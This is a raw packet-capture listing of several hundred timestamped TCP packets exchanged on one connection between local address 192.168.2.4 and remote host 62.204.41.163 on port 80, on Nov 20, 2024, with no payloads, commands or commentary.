Nov 20, 2024 07:48:21.848638058 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.848690987 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.848726988 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.848877907 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.848893881 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.848910093 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.848918915 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.848925114 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.848939896 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.848941088 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.848958015 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.848963022 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.849006891 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.849019051 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.849035025 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.849056959 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.849083900 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.849191904 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.849209070 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.849222898 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.849239111 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.849251032 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.849280119 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.849348068 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.849361897 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.849378109 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.849385023 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.849392891 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.849410057 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.849412918 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.849425077 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.849436998 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.849441051 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.849457979 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.849463940 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.849489927 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.849822998 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.849838018 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.849853039 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.849870920 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.849873066 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.849885941 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.849890947 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.849911928 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.849940062 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.849967957 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.849982023 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.849997997 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.850007057 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.850023985 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.850039959 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.850316048 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.850330114 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.850343943 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.850359917 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.850368023 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.850380898 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.850404978 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.850600004 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.850615978 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.850630045 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.850646019 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.850649118 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.850666046 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.850668907 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.850697041 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.850739956 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.850754023 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.850769043 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.850791931 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.850809097 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.850888968 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.850904942 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.850919008 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.850934029 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.850945950 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.850948095 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.850975037 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.850989103 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.851049900 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.851066113 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.851085901 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.851100922 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.851111889 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.851114988 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.851130962 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.851138115 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.851154089 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.851178885 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.851191044 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.851206064 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.851231098 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.851247072 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.851375103 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.851392031 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.851406097 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.851421118 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.851422071 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.851437092 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.851440907 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.851454020 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.851465940 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.851494074 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.851528883 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.851545095 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.851562023 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.851566076 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.851578951 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.851593018 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.851594925 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.851613045 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.851639986 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.851671934 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.851706028 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.851859093 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.851874113 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.851888895 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.851912022 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.851914883 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.851942062 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.851962090 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.851977110 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.851994038 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.852001905 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.852013111 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.852026939 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.852029085 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.852044106 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.852044106 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.852060080 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.852068901 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.852077007 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.852083921 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.852092981 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.852102041 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.852116108 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.852133036 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.852169037 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.852185011 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.852199078 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.852206945 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.852215052 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.852221966 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.852240086 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.852255106 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.852360010 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.852385998 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.852401018 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.852416039 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.852423906 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.852431059 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.852446079 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.852452040 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.852459908 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.852467060 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.852475882 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.852492094 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.852494001 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.852508068 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.852510929 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.852523088 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.852531910 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.852540016 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.852555990 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.852560043 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.852571011 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.852577925 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.852586985 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.852593899 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.852602005 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.852610111 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.852617979 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.852627039 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.852642059 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.852643013 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.852657080 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.852658033 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.852672100 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.852677107 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.852689981 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.852694035 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.852705956 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.852710009 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.852721930 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.852725029 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.852737904 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.852746964 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.852751970 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.852762938 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.852766991 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.852780104 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.852793932 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.852797031 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.852811098 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.852828026 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.852828979 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.852839947 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.852853060 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.852869034 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.852885962 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.853303909 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.853329897 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.853370905 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.937621117 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.937665939 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.937683105 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.937705994 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.937745094 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.937784910 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.937800884 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.937834978 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.937839031 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.937869072 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.937874079 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.937913895 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.937922001 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.937957048 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.937963963 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.937990904 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.937994957 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.938024998 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.938031912 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.938059092 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.938059092 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.938092947 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.938097000 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.938132048 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.938148022 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.938188076 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.938199997 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.938234091 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.938240051 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.938266993 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.938271046 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.938301086 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.938304901 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.938334942 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.938339949 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.938369036 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.938374043 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.938404083 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.938451052 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.938462973 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.938496113 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.938503981 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.938534021 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.938551903 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.938601971 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.938616991 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.938647985 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.938654900 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.938688040 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.938695908 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.938726902 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.938739061 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.938771963 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.938813925 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.938822985 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.938863993 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.938874960 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.938914061 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.938927889 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.938971043 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.938981056 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.939032078 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.939074039 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.939086914 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.939127922 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.939136982 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.939176083 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.939188957 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.939229965 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.939241886 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.939284086 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.939295053 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.939333916 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.939359903 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.939393044 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.939398050 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.939435005 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.939444065 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.939477921 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.939486027 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.939512968 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.939515114 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.939546108 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.939546108 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.939600945 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.939611912 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.939634085 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.939641953 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.939668894 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.939672947 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.939702988 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.939708948 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.939742088 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.939759016 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.939798117 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.939807892 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.939842939 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.939847946 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.939876080 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.939879894 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.939908981 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.939914942 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.939951897 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.939960003 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.939995050 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.939995050 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.940027952 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.940032959 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.940061092 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.940063953 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.940092087 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.940099001 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.940125942 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.940135956 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.940160036 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.940166950 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.940200090 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.940203905 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.940239906 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.940251112 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.940290928 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.940304041 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.940337896 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.940344095 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.940371037 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.940371037 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.940402031 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.940409899 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.940435886 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.940448046 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.940469027 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.940471888 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.940500975 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.940505981 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.940534115 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.940570116 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.940576077 CET	49753	80	192.168.2.4	62.204.41.163
